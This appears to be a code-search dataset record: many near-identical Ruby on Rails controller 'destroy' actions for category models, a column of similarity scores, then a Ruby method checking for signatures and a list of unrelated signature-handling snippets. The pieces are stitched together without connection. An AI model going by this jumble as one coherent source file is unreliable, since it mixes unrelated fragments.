"def destroy\n @category = current_mall.categories.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to api_wmall_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria = Categoria.find(params[:id])\n @categoria.destroy\n\n respond_to do |format|\n format.html { redirect_to categoria_index_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_categoryall = Categoryall.find(params[:id])\n @admin_categoryall.destroy\n respond_with(@admin_categoryall, :location => admin_panels_url)\n end",
"def destroy\n @rcadmin_category.destroy\n respond_to do |format|\n flash[:notice] = 'Category was successfully deleted.'\n format.html { redirect_to rcadmin_categories_url }\n format.json { head :no_content }\n end\n end",
"def delete_category id\n\t\t\t\t\tFreshdesk::Api::Client.delete_status_wrapper do\n\t\t\t\t\t\t( @connection.delete CATEGORIES, id ).code\n\t\t\t\t\tend\n\t\t\t\tend",
"def destroy\n @level_category = LevelCategory.find(params[:id])\n @level_category.destroy\n\n respond_to do |format|\n format.html { redirect_to level_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category_db.destroy\n respond_to do |format|\n format.html { redirect_to category_dbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria.destroy\n respond_to do |format|\n format.html { redirect_to categorias_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: t('destroy.notice', name: t('activerecord.models.category')) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @content_category = ContentCategory.find(params[:id])\n @content_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_home_index_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @category = @collection.category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_scenic_spots_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url, notice: 'Вы удалили категорию и список услуг.' }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_categories_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n begin\n @category.destroy\n rescue ActiveRecord::DeleteRestrictionError\n error = 'Эта категория не может быть удалена, пока с ней связан хоть один файл.'\n ensure\n respond_to do |format|\n format.html { redirect_to categories_url, notice: error }\n format.json { head :ok }\n end\n end\n end",
"def destroy\n #locates the category to be destroyed\n @category = Category.find(params[:id])\n #Creates an array of all categories\n @all_categories = Category.all\n #creates an empty hash\n @all_categories_hash = {}\n #calls function to populate & sort @all_categories_hash\n sort_categories()\n #calls function to destroy the category\n destroy_category(@category)\n\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end",
"def destroy\n @categorization = Categorization.find(params[:id])\n @categorization.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_categorizations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mk_categoria.destroy\n respond_to do |format|\n format.html { redirect_to mk_categories_url, notice: 'Mk categoria was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n flash[:success] = 'Category was successfully deleted.'\n format.html { redirect_to admin_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@incidentcategory.destroy\n render json: {}, status: 200\n end",
"def destroy\n @post_category = current_user.post_categories.find(params[:id])\n @post_category.destroy\n\n respond_to do |format|\n format.html { redirect_to [:client, :post_categories] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @convention_category = ConventionCategory.find(params[:id])\n @convention_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_convention_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @taxonomy_category = TaxonomyCategory.find(params[:id])\n @taxonomy_category.destroy\n\n respond_to do |format|\n format.html { redirect_to taxonomy_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: \"Journal was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sys_category.destroy\n respond_to do |format|\n format.html { redirect_to sys_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to(admin_categories_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kategory = Kategory.find(params[:id])\n @kategory.destroy\n\n respond_to do |format|\n format.html { redirect_to kategories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @post_category = Post::Category.find(params[:id])\n @post_category.destroy\n\n respond_to do |format|\n format.html { redirect_to post_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categ.destroy\n respond_to do |format|\n format.html { redirect_to categs_url, notice: 'Categ was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url, notice: \"Category was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n IndicatorCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to indicator_categories_url }\n format.json { head :ok }\n end\n end",
"def destroy\n \tauthorize! :destroy, @category\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = current_user.user_categories.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_category.destroy\n respond_to do |format|\n format.html { redirect_to admin_categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to backend_shop_branch_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.delete\n end",
"def destroy\n authorize! :destroy, @category\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: t('.success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to(cpanel_categories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @categorias_tipo = CatTipo.find(params[:id])\n @categorias_tipo.destroy\n\n respond_to do |format|\n format.html { redirect_to cat_tipos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorie_droit.destroy\n respond_to do |format|\n format.html { redirect_to categorie_droits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to management_categories_url, notice: 'Category was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categoria_norma.destroy\n respond_to do |format|\n format.html { redirect_to categoria_normas_url, notice: 'Categoria norma was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @status_category.destroy\n respond_to do |format|\n format.html { redirect_to status_categories_url, notice: 'Status category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @desserts_category.destroy\n respond_to do |format|\n format.html { redirect_to desserts_categories_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorie = Categorie.find(params[:id])\n @categorie.destroy\n\n respond_to do |format|\n format.html { redirect_to(categories_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n end\n end",
"def destroy\n @section_category = SectionCategory.find(params[:id])\n @section_category.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat = Cat.find(params[:id])\n @cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cat = Cat.find(params[:id])\n @cat.destroy\n\n respond_to do |format|\n format.html { redirect_to cats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if admin\n @category = Category.find(params[:id])\n @category.destroy\n else\n redirect_to categories_path\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to \"index\", notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categor.destroy\n respond_to do |format|\n format.html { redirect_to categors_url, notice: 'Categor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category = DishCategory.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Категория удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_category.destroy\n respond_to do |format|\n format.html { redirect_to dish_categories_url, notice: 'Категория блюда удалена.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category_type = CategoryType.find(params[:id])\n @category_type.destroy\n\n respond_to do |format|\n format.html { redirect_to category_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @categorium.destroy\n respond_to do |format|\n format.html { redirect_to categoria_url, notice: 'Categoría fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe_category = RecipeCategory.find(params[:id])\n @recipe_category.destroy\n\n respond_to do |format|\n format.html { redirect_to recipe_categories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gt_category.destroy\n respond_to do |format|\n format.html { redirect_to gt_categories_url, notice: 'Gt category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_path, notice: \"Category was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adcategory.destroy\n respond_to do |format|\n format.html { redirect_to adcategories_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7854503",
"0.7694885",
"0.7646918",
"0.7570219",
"0.7551068",
"0.7518432",
"0.7471698",
"0.7446149",
"0.74312127",
"0.74106044",
"0.7381081",
"0.7321815",
"0.7294405",
"0.72827524",
"0.7278462",
"0.7267943",
"0.72662234",
"0.72468024",
"0.7243714",
"0.7236379",
"0.72359765",
"0.723087",
"0.7229264",
"0.7229264",
"0.7229264",
"0.7226871",
"0.72240525",
"0.72163564",
"0.7210663",
"0.7208655",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.72063565",
"0.7186995",
"0.7186118",
"0.7183639",
"0.7182219",
"0.7173074",
"0.7172509",
"0.7165566",
"0.71643335",
"0.71597755",
"0.7154957",
"0.7138015",
"0.71352935",
"0.71351427",
"0.71338075",
"0.71325606",
"0.7128061",
"0.7111534",
"0.71083677",
"0.71068954",
"0.7106597",
"0.7099384",
"0.7096712",
"0.7093842",
"0.70860875",
"0.70858467",
"0.7080875",
"0.7070782",
"0.70632094",
"0.70578593",
"0.70519924",
"0.7049068",
"0.7047972",
"0.7040716",
"0.703302",
"0.7032768",
"0.7029409",
"0.7028421",
"0.70284045",
"0.70284045",
"0.7017996",
"0.7014073",
"0.70091814",
"0.700592",
"0.7004836",
"0.6997632",
"0.6984337",
"0.6978209",
"0.6976264",
"0.6974389",
"0.6957617",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567",
"0.69571567"
] |
0.0
|
-1
|
The uniq +signatures+ associated with the Threat.
|
def signature(i)
raise "Not a signature!" unless i.is_a? Signature
@signatures << i
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signatures\n attributes.fetch(:signatures)\n end",
"def signatures\n parsed {\n @signatures \n }\n end",
"def signature_hexes\n return [] unless @vulnerability_finding_signatures_enabled && signatures.present?\n\n signatures.sort_by(&:priority).map(&:signature_hex).reverse\n end",
"def signature\n @signature ||= set_signature(nil)\n end",
"def current_signatures\n category_map = {\n pending_officer_signatures: :as_officer,\n pending_treasurer_signature: :as_treasurer,\n pending_president_signature: :as_president\n }\n\n return [] if category_map[state.to_sym].nil?\n\n signatures.where(category: Signature.categories[category_map[state.to_sym]])\n end",
"def uniq() end",
"def stored_signature; end",
"def signature\n memoized_info[:signature]\n end",
"def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end",
"def index_signature\n Digest::SHA256.new(@gems.keys.sort.join(',')).to_s\n end",
"def obsolete_fingerprints\n (@ignored_fingerprints - @used_fingerprints).to_a\n end",
"def signature\n @signature ||= Base64.encode64(digest).gsub(\"\\n\", '')\n end",
"def fingerprint\n self.all_tags.to_s.md5\n end",
"def signature\n @signature || ''\n end",
"def signed_elements\n []\n end",
"def uniq\n end",
"def uniq\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def custom_signatures\n CustomSignature.where(teams_id_eq: id)\n end",
"def custom_signatures\n CustomSignature.where(teams_id_eq: id)\n end",
"def uniq\n distinct\n end",
"def method_sigs\n @method_sigs\n end",
"def hashes\n return @hashes\n end",
"def signing_keys\n @signing_keys ||= fetch_signing_keys\n end",
"def signatures\n xpath(\"descendant::ds:Signature\", NAMESPACES).reverse\n end",
"def verify_signatures?; end",
"def fingerprint; end",
"def signatures(transaction, names: [:primary])\n transaction.inputs.map do |input|\n path = input.output.metadata[:wallet_path]\n node = self.path(path)\n sig_hash = transaction.sig_hash(input, node.script)\n node.signatures(sig_hash, names: names)\n end\n end",
"def updated_signatures\n\t\tsignatures = {}\n\n\t\texecute_xpath('//dss:UpdatedSignature').each do |updated_signature|\n\t\t\tform = updated_signature.attributes['Type']\n\t\t\tform =:default if form.nil? #signature updated by the default service policy currently an ES-C\n\t\t\tsignatures[form] = REXML::Document.new(updated_signature.children[0].children[0].to_s)\n\t\tend\n\n\t\treturn signatures\n\tend",
"def uniq_ints()\n []\n end",
"def signature(klass)\n signatures[klass]\n end",
"def signature\n @signature ||= Current.request.headers['X-Slack-Signature']\n end",
"def fingerprint\n\t\t\tnil\n\t\tend",
"def signature\n EPDQ::ShaCalculator.new(full_parameters, EPDQ.sha_in, EPDQ.sha_type).signature\n end",
"def uniq!() end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def uniq\n return :responses\n end",
"def signature_key; end",
"def signature\n @request.env['HTTP_X_HUB_SIGNATURE'.freeze].to_s\n end",
"def uniq_pep_sequences\n unless self.peptide_evidences.empty?\n return self.peptide_evidences.map{|pep_ev| pep_ev.peptide_sequence.sequence}.uniq\n end\n end",
"def my_uniq\n unique = []\n self.each do |ele|\n unique << ele if !unique.include?(ele)\n end\n unique\n end",
"def signatures?\n @signatures ? true : false\n end",
"def index\n @user_signatures = UserSignature.all\n end",
"def previous_signature?; end",
"def uniq\n hsh = {}\n if block_given?\n each{|v| hsh[yield(v)] = 1 }\n else\n each{|v| hsh[v] = 1 }\n end\n hsh.keys\n end",
"def uniq_keys\n all.to_a.collect {|n| n.key }.uniq\n end",
"def last_sig; end",
"def signature\n registration_data_raw.byteslice(\n (KEY_HANDLE_OFFSET + key_handle_length + certificate_length)..-1\n )\n end",
"def header_signature; end",
"def create_signature_hashes\n if !self.manager_sign_username.blank?\n manager = User.find_by_username_and_store_id(self.manager_sign_username, Thread.current['user'].store_id)\n self.manager_signer = manager\n self.manager_signature_hash = Digest::SHA1.hexdigest(\"--#{manager.social_security_number}--#{self.instance.created_at}--\")\n self.manager_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Store Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n\n if !self.regional_sign_username.blank?\n regional = Admin.find_by_username(self.regional_sign_username)\n self.regional_signer = regional\n self.regional_signature_hash = Digest::SHA1.hexdigest(\"--#{regional.social_security_number}--#{self.instance.created_at}--\")\n self.regional_signature_date = Time.now\n self.save_status = self.save_status.to_s + \" Regional Manager signature accepted. Reload this page to see the digital fingerprint.\"\n end\n end",
"def signals\n return @signals if @signals\n\n signals = SIGNALS_CLASS.new\n ancestors.reverse.each do |ancestor|\n next unless ancestor.kind_of?(ClassMethods)\n ancestor.signal_registry.each_pair do |key, value|\n if value.nil?\n signals.delete(key)\n else\n signals[key] = value\n end\n end\n end\n\n signals\n end",
"def search_signatures(request)\n data, _status_code, _headers = search_signatures_with_http_info(request)\n data\n end",
"def callsite_signature\n @attributes.callsite_signature\n end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def instrument_sig\n inst_list = []\n instruments.each { |i| inst_list << i.name }\n inst_list.join(', ')\n end",
"def payload\n self[0...-SIGNATURE_LENGTH]\n end",
"def pp_signature headers\n headers['Autorizacion']\n end",
"def signatures(method)\n method_cache(method).keys\n end",
"def unique_genes\n Gene.where(study_id: self.id, :study_file_id.in => self.expression_matrix_files.map(&:id)).pluck(:name).uniq\n end",
"def signature_bytes; NaCl::ED25519_SIGNATUREBYTES; end",
"def keys\n map(&:key).uniq\n end",
"def latest_ccla_signature\n ccla_signatures.order(:signed_at).last\n end",
"def summary_digests\n summary_for_feed[:digests].inject([]) do |r, e|\n r |= e\n end.uniq\n end",
"def get_trusted_keys\n return [] unless File.file?(@trust_path)\n\n # no signature verification\n File.open(@trust_path, 'r').readlines.map(&:chomp).uniq.sort\nend",
"def unique_transactions(for_actor=nil)\n txns = Hash.new()\n\n self.counts.each do |a, values|\n next if for_actor && a != for_actor\n values[\"txns\"].arr.each do |arr|\n txns[arr[0]] = arr[1]\n end\n end\n\n txns\n end",
"def sigs( **options )\n\t\t\tresponse = self.server.run( :sigs, **options )\n\t\t\treturn response.lines.map( &:chomp )\n\t\tend",
"def find_hash_tags\n self.scan(/#[\\w-]+/).flatten.uniq\n end",
"def num_uniq\n Set[*self].size\n end",
"def hash\n [].hash\n end",
"def count_signatures(conditions = {})\n params = extract_query_params conditions\n\n request :get, \"/v3/signatures/count.json\", params\n end",
"def makehash(body)\n signer = SSH::Key::Signer.new\n if @config.pluginconf[\"sshkey\"]\n signer.add_key_file(@config.pluginconf[\"sshkey\"])\n signer.use_agent = false\n end\n signatures = signer.sign(body).collect { |s| s.signature }\n return Marshal.dump(signatures)\n end",
"def chair_hiwi\n contracts.collect(&:chair).uniq\n end",
"def fingerprint\n to_h(persist: true).except(:_id)\n end",
"def uniq\n :identity\n end",
"def signature t\n case t\n when nil, true, false; 0\n when Numeric; 1\n when String, Symbol; 2\n when Array; t.map {|v| signature(v)}\n when Hash; t.each_with_object({}) {|(k,v), h| h[k] = signature(v)}\n else raise ArgumentError, \"cannot compute signature for #{t.inspect}\"\n end\n end",
"def signature\n OpenSSL::HMAC.hexdigest('sha1', Redtail.config.sentry_key, \"#{@timestamp} #{@message}\")\n end",
"def signers\n raise 'NotImplementedYet'\n end",
"def hash\n [mti, stan, transmission_time, acquiring_institution_id, network_reference_id, forwarding_institution_id, transaction_token].hash\n end",
"def signature\n digest = \"SHA256\"\n OpenSSL::HMAC.hexdigest(digest, signing_key, string_to_sign)\n end",
"def signature_of(word)\n\t\t\tword.unpack(\"c*\").sort.pack(\"c*\")\n\t\tend",
"def tag_manifested_files\n tagmanifest_files.inject([]) do |acc, mf|\n files = File.open(mf) { |io|\n io.readlines.map do |line|\n _digest, path = line.chomp.split(/\\s+/, 2)\n path\n end\n }\n (acc + files).uniq\n end\n end",
"def signature\n time = Time.now\n {\n mktowsUserId: user_id,\n requestTimestamp: time.to_s,\n requestSignature: hmac(time),\n }\n end",
"def allpseuds\n works.collect(&:pseuds).flatten.compact.uniq.sort\n end",
"def compact_signature(hash)\n raise BTCError, \"Not implemented\"\n end",
"def update_signature!; end",
"def update_signature!; end",
"def attachment_uris\n Array.wrap(attachments).uniq.delete_if(&:empty?)\n end",
"def keywords\n get_keywords.flatten.uniq\n end",
"def active_signature\n attributes.fetch(:activeSignature)\n end",
"def create_signatures(request)\n data, _status_code, _headers = create_signatures_with_http_info(request)\n data\n end",
"def signed_headers\n canonical_headers.map{|name,value| name}\n end"
] |
[
"0.6957771",
"0.68488276",
"0.6433961",
"0.6181826",
"0.6099277",
"0.5983183",
"0.59766895",
"0.5969097",
"0.5960114",
"0.59397525",
"0.5905269",
"0.58706474",
"0.5854063",
"0.5842195",
"0.5824132",
"0.5627583",
"0.5627583",
"0.5622811",
"0.56042063",
"0.56042063",
"0.56018406",
"0.5591255",
"0.5574515",
"0.5564237",
"0.5534667",
"0.5512321",
"0.55052876",
"0.5500711",
"0.54635864",
"0.54634976",
"0.5459252",
"0.54441583",
"0.5421316",
"0.54152864",
"0.5399802",
"0.53983116",
"0.5375174",
"0.53626686",
"0.53598034",
"0.53300047",
"0.5328815",
"0.53254277",
"0.53229874",
"0.53170073",
"0.5313559",
"0.5311586",
"0.53012866",
"0.52986413",
"0.52843285",
"0.5272687",
"0.5222485",
"0.52199304",
"0.5206426",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5200519",
"0.5196831",
"0.51809406",
"0.5175679",
"0.51701397",
"0.51636106",
"0.5162888",
"0.5150425",
"0.5141212",
"0.5141174",
"0.5140093",
"0.51392",
"0.5131246",
"0.5122169",
"0.51132894",
"0.51123565",
"0.5112057",
"0.5110378",
"0.51097864",
"0.5100756",
"0.5091872",
"0.5086681",
"0.5076818",
"0.506736",
"0.5065104",
"0.5061792",
"0.5059209",
"0.5058294",
"0.50547767",
"0.50526637",
"0.50476664",
"0.5036805",
"0.5036805",
"0.50358135",
"0.5034837",
"0.50344",
"0.50331354",
"0.5031012"
] |
0.5808888
|
15
|
TODO reimplement smarter def signatures=(i) raise "Not a signature!" unless i.is_a? Signature
|
def signatures?
@signatures ? true : false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def signature(i)\n raise \"Not a signature!\" unless i.is_a? Signature\n @signatures << i\n end",
"def signature=(v)\n @signature = v\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def signature=(_); end",
"def signature=(_); end",
"def set_signature\n @signature = Signature.find(params[:id])\n end",
"def set_signature\n @signature = Signature.find(params[:id])\n end",
"def set_signature\n @signature = Signature.find(params[:id])\n end",
"def signatures\n attributes.fetch(:signatures)\n end",
"def signatures\n parsed {\n @signatures \n }\n end",
"def update_signature!; end",
"def update_signature!; end",
"def signature\n @signature ||= set_signature(nil)\n end",
"def key_signature=(key_signature)\n @key_signature = key_signature\n if @base_note\n @base_note.key_signature = key_signature\n build_chord_notes(@named_chord)\n build_inversions\n end\n @notes.each{ |note| note.pattern = @pattern }\n end",
"def signature_params\n params.require(:signature).permit(:sign)\n end",
"def edi_sig(sig)\n @sig = sig\n end",
"def signature_changed?; end",
"def signature_changed?; end",
"def signature(params)\n raise NotImplementedError\n end",
"def signature t\n case t\n when nil, true, false; 0\n when Numeric; 1\n when String, Symbol; 2\n when Array; t.map {|v| signature(v)}\n when Hash; t.each_with_object({}) {|(k,v), h| h[k] = signature(v)}\n else raise ArgumentError, \"cannot compute signature for #{t.inspect}\"\n end\n end",
"def sign_with(fingerprint_id, signature)\n @signatures[fingerprint_id] = signature\n end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature; end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def signature=(_arg0); end",
"def set_user_signature\n @user_signature = UserSignature.find(params[:id])\n end",
"def update!(**args)\n @signature = args[:signature] if args.key?(:signature)\n end",
"def stored_signature; end",
"def key_signature=(key_signature)\n @key_signature = key_signature\n increment = key_signature_increment\n self.pitch += key_signature_increment if increment\n end",
"def signature_key=(_arg0); end",
"def parse_signature(signature)\n # return signature.shift, signature.shift\n [signature.shift, signature.shift]\n end",
"def signature_valid?; end",
"def signature(*args); end",
"def verify_signatures spec, digests, signatures\n if only_signed and signatures.empty? then\n raise Gem::Security::Exception,\n \"unsigned gems are not allowed by the #{name} policy\"\n end\n\n digests.each do |file, digest|\n signature = signatures[file]\n raise Gem::Security::Exception, \"missing signature for #{file}\" unless\n signature\n verify_signature signature, digest.digest, spec.cert_chain\n end\n end",
